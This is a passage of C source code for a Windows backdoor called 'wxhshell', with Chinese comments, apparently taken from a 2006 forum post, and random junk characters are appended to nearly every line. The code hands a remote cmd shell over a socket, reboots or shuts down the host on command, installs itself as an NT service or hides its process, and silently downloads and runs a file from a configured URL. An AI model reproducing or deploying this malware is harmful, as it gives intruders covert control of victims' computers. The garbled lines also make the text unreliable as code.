  else { eiuSvyY  
jL y  
    switch(cmd[0]) { "C?#SO B  
  F@^~7ZmP`  
  // 帮助 kHk px52  
  case '?': { ?42<J%p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q0$8j-1I  
    break; *aXF5S  
  } >@BnV{ d  
  // 安装 ,V'o4]H  
  case 'i': { ,4 hJT  
    if(Install()) 32l3vv.j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ImCe K  
    else iy6On,UL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2^XGGB0  
    break; 2;xIL]  
    } fTzvmC:g7  
  // 卸载 h,QKd>4:CF  
  case 'r': { `{4i)n%e&  
    if(Uninstall()) .\ K_@M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tWo{7)Eb  
    else ^m L@e'r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3sc+3-TF  
    break; *RT>`,t/  
    } 5Y?L>QU"  
  // 显示 wxhshell 所在路径 _t:$XJ`bTk  
  case 'p': { YW-usvl&  
    char svExeFile[MAX_PATH]; J`^ag'  
    strcpy(svExeFile,"\n\r"); 2C2fGYu  
      strcat(svExeFile,ExeFile); ,9?BcD1  
        send(wsh,svExeFile,strlen(svExeFile),0); ai}mOyJs  
    break; >PB4L_1  
    } <CRP ^_c  
  // 重启 QU#w%|  
  case 'b': { d^/3('H6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #1J &7F1  
    if(Boot(REBOOT)) Yi .u"sh]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TP VVck-T8  
    else { B! rTD5a  
    closesocket(wsh); V zBqjE_  
    ExitThread(0); U -Y03  
    } AUeu1(  
    break; <m:m &I 8@  
    } 6Vww;1 J  
  // 关机 ]I-Z]m "  
  case 'd': { Rn#KfI:{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); so PLA68  
    if(Boot(SHUTDOWN)) ]&?Y~"{cD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3WN`y8l  
    else { Kfm5i Q  
    closesocket(wsh); F8hw #!Aq  
    ExitThread(0); XttqO f  
    } hZ[E7=NTQ^  
    break; -7m:91x  
    } _AYXc] 4%  
  // 获取shell OtSL*'7>  
  case 's': { c/Qt Ot  
    CmdShell(wsh); mt9 .x  
    closesocket(wsh); Pf*^ZB%  
    ExitThread(0); s~X+*@.  
    break; yphS'AG  
  } _,q)hOI  
  // 退出 AoY -\E  
  case 'x': { $m7?3/YG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f @8mS    
    CloseIt(wsh); pa#d L!J  
    break; #u2J;9P  
    } "-_fv5jL  
  // 离开 p/(~IC "!J  
  case 'q': { t'9*R7=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u?>B)PW  
    closesocket(wsh); DQMHOd7g  
    WSACleanup(); R,)}>X|<  
    exit(1); Xm+8  
    break; 'iy*^A `Y  
        } Nb?w|Ne(T  
  } CxGx8*<X  
  } *ohL&'y  
5pU2|Bk /  
  // 提示信息 5?p2%KQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Zkx[[gzL  
} 9Kg21-?  
  } YRv&1!VLE  
HN_d{ 3  
  return; Tq NadHQ  
} b5,x1`#7k  
J~%K_~Li  
// shell模块句柄 XIvn_&d;G  
int CmdShell(SOCKET sock) GGe,fb<k  
{ ;?W|#*=R  
STARTUPINFO si; ";BlIovT=R  
ZeroMemory(&si,sizeof(si)); $=5=NuX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BQBeo&n6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; RE}?5XHb  
PROCESS_INFORMATION ProcessInfo; 1h>yu3O  
char cmdline[]="cmd"; 1?)Xp|O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bB }$'  
  return 0; >:zK?(qu,N  
} :}r.  
uqM yoIc  
// 自身启动模式 YWMGB#=  
int StartFromService(void) vgD {qg@  
{ Bt1p'g(V|  
typedef struct D6CS8 ~"  
{ / y A7%2  
  DWORD ExitStatus; !E,A7s  
  DWORD PebBaseAddress; KQ `qpX^d  
  DWORD AffinityMask; _8Z_`@0  
  DWORD BasePriority; j>]nK~[ka  
  ULONG UniqueProcessId; kgy:Q'  
  ULONG InheritedFromUniqueProcessId; p(PMZVV`  
}   PROCESS_BASIC_INFORMATION; PGYXhwOI  
.w> 4  
PROCNTQSIP NtQueryInformationProcess; L,SGT8lL  
dcLA1sN,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k4,BNJt'Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fq5_G~c =  
C|d\3S\(  
  HANDLE             hProcess; |X,|QC*7?  
  PROCESS_BASIC_INFORMATION pbi; WZazJ=27}  
Ob}?zl@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $"dR SysB  
  if(NULL == hInst ) return 0; uA,>a>xYI  
 DVah  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AgOp.~*Z~V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |l&vkRrN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -:Fe7c  
SF}<{x_  
  if (!NtQueryInformationProcess) return 0; U7doU'V/  
i:rFQ8 I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 90|7ArM_[  
  if(!hProcess) return 0; 6lk l7zm  
!_+8A/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8~90 30>Q  
@ U kr  
  CloseHandle(hProcess); <EPj$::  
F6o_b4l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uHH/rMV  
if(hProcess==NULL) return 0; !FA# K8  
KBXK0zWh7  
HMODULE hMod; B.g[c97  
char procName[255]; cCo`~7rE  
unsigned long cbNeeded; +j(d| L\  
j=*l$RG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1rKlZsZ#*  
!O.[PH(,*  
  CloseHandle(hProcess); *<E]E?  
'xhcuVl  
if(strstr(procName,"services")) return 1; // 以服务启动 $e\h}A6  
4(Ov1a>  
  return 0; // 注册表启动 B=>RH!&  
} Q:|l`*.R  
K =C!b?  
// 主模块 GwG4LIp  
int StartWxhshell(LPSTR lpCmdLine) rj6tZJZ#o0  
{ '"<6.,Ae  
  SOCKET wsl; c9kzOQ2n  
BOOL val=TRUE; 2pzF5h  
  int port=0; 'fcMuBc+ 4  
  struct sockaddr_in door; "Fy7K#n  
FP0G]=ME  
  if(wscfg.ws_autoins) Install(); {r> .G7P6  
{%VV\qaC  
port=atoi(lpCmdLine); [zL7Q^~  
6ZKsz5:=  
if(port<=0) port=wscfg.ws_port; JJltPGT~Oa  
:(a]V"(&Eq  
  WSADATA data; e1>aTu@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ! iptT(2  
%V1Z~HC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P6 ;'Sza  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -b9;5eS!  
  door.sin_family = AF_INET; N[<H7_/3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {/X4(;~0  
  door.sin_port = htons(port); 4q'B<7{Q  
"S&@F/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yC3yij<oR  
closesocket(wsl); !@x+q)2  
return 1; FuUD 61JHY  
} 6*qL[m.F[o  
y kW [B  
  if(listen(wsl,2) == INVALID_SOCKET) { :9R=]#uD  
closesocket(wsl); HJ2*y|u  
return 1; 21ppSN >  
} cooUE<a  
  Wxhshell(wsl);  6\u!E~zy  
  WSACleanup(); h)6GaJ=  
*\wp?s>-t  
return 0; d{3@h+zL  
'8 fk+>M  
} $`8Ar,Xz`  
E,wVe[0)f  
// 以NT服务方式启动 ZT[3aXS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5aBAr  
{ A%Xt|=^_  
DWORD   status = 0; Yz4_vePh+5  
  DWORD   specificError = 0xfffffff; N%7{J  
m6MO W&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \":?xh_H  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E]J:~H'Er  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R g?1-|Tj  
  serviceStatus.dwWin32ExitCode     = 0; AsPx?  
  serviceStatus.dwServiceSpecificExitCode = 0; n4R2^gXAw  
  serviceStatus.dwCheckPoint       = 0; t4q ej  
  serviceStatus.dwWaitHint       = 0; ;Og&FFs'  
0x11 vr!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >Jw6l0z  
  if (hServiceStatusHandle==0) return; qC_mu)6  
8 F2|  
status = GetLastError(); 'lo  
  if (status!=NO_ERROR) o7TN,([W  
{ RQkyCAGx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $55U+)C<  
    serviceStatus.dwCheckPoint       = 0; xrqv@/kJ  
    serviceStatus.dwWaitHint       = 0; jSOS}!=  
    serviceStatus.dwWin32ExitCode     = status; IcrL   
    serviceStatus.dwServiceSpecificExitCode = specificError; D?~8za`5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lJzl6&  
    return; f`8OM}un&  
  } Q\Gq|e*  
9Ew7A(BG_3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B-*E:O0y  
  serviceStatus.dwCheckPoint       = 0; ewuXpv%vwW  
  serviceStatus.dwWaitHint       = 0; ="%W2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !@I}mQ ~  
} ExSO|g]%  
Q \]Xm>  
// 处理NT服务事件,比如:启动、停止 5tv<8~:K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uNHdpni  
{ TZ;p0^(  
switch(fdwControl) !Y<oN~<%)  
{ Uw/l>\  
case SERVICE_CONTROL_STOP: vBvNu<v7te  
  serviceStatus.dwWin32ExitCode = 0; O lfn  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; oyk>vIZ  
  serviceStatus.dwCheckPoint   = 0; <e)o1+[w  
  serviceStatus.dwWaitHint     = 0; a`E*\O'd  
  { _Cy:]2o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v)f7};"z   
  } `_5GG3@Ff  
  return; cBYfXI0`  
case SERVICE_CONTROL_PAUSE: Eq^uKi  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v8/6wy?  
  break; `W `0Fwu9  
case SERVICE_CONTROL_CONTINUE: Q<6P. PTya  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?X9]HlH  
  break; EPX8Wwf  
case SERVICE_CONTROL_INTERROGATE: H@l}[hkP  
  break; >Z Ke  
}; 8ga_pNe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \OC6M` /  
} pO~c<d}b  
.> Z,uT^A  
// 标准应用程序主函数 r7]"?#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y^Vw`-e  
{ 1ndJ+H0H  
w %c  
// 获取操作系统版本 W3&tJ8*3  
OsIsNt=GetOsVer(); 'P laMOy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4'Xgk8)  
C;Ic  
  // 从命令行安装 7OVbP%n)d2  
  if(strpbrk(lpCmdLine,"iI")) Install(); u/Fj'*M  
Y&*x4&Lb  
  // 下载执行文件 K?u(1  
if(wscfg.ws_downexe) { P2 0|RvE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p|XAlia  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8I+d)(:  
} K3mA XC,d  
?Qqd "=k4  
if(!OsIsNt) { va|rO#.=  
// 如果时win9x,隐藏进程并且设置为注册表启动 C+K=[   
HideProc(); 0{^H]Y  
StartWxhshell(lpCmdLine); Y7U&Q:5'  
} zz_[S{v!#  
else 5V-jMB  
  if(StartFromService()) Eff\Aq{  
  // 以服务方式启动 F6S~$<  
  StartServiceCtrlDispatcher(DispatchTable); 4B-yTyO  
else r;iV$Rq !  
  // 普通方式启动 *(GZ^QH.  
  StartWxhshell(lpCmdLine); Ulqh@CE)  
:DkAQ-<~  
return 0; ~fzuwz  
}
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只看该作者 1 发表于: 2006-10-10
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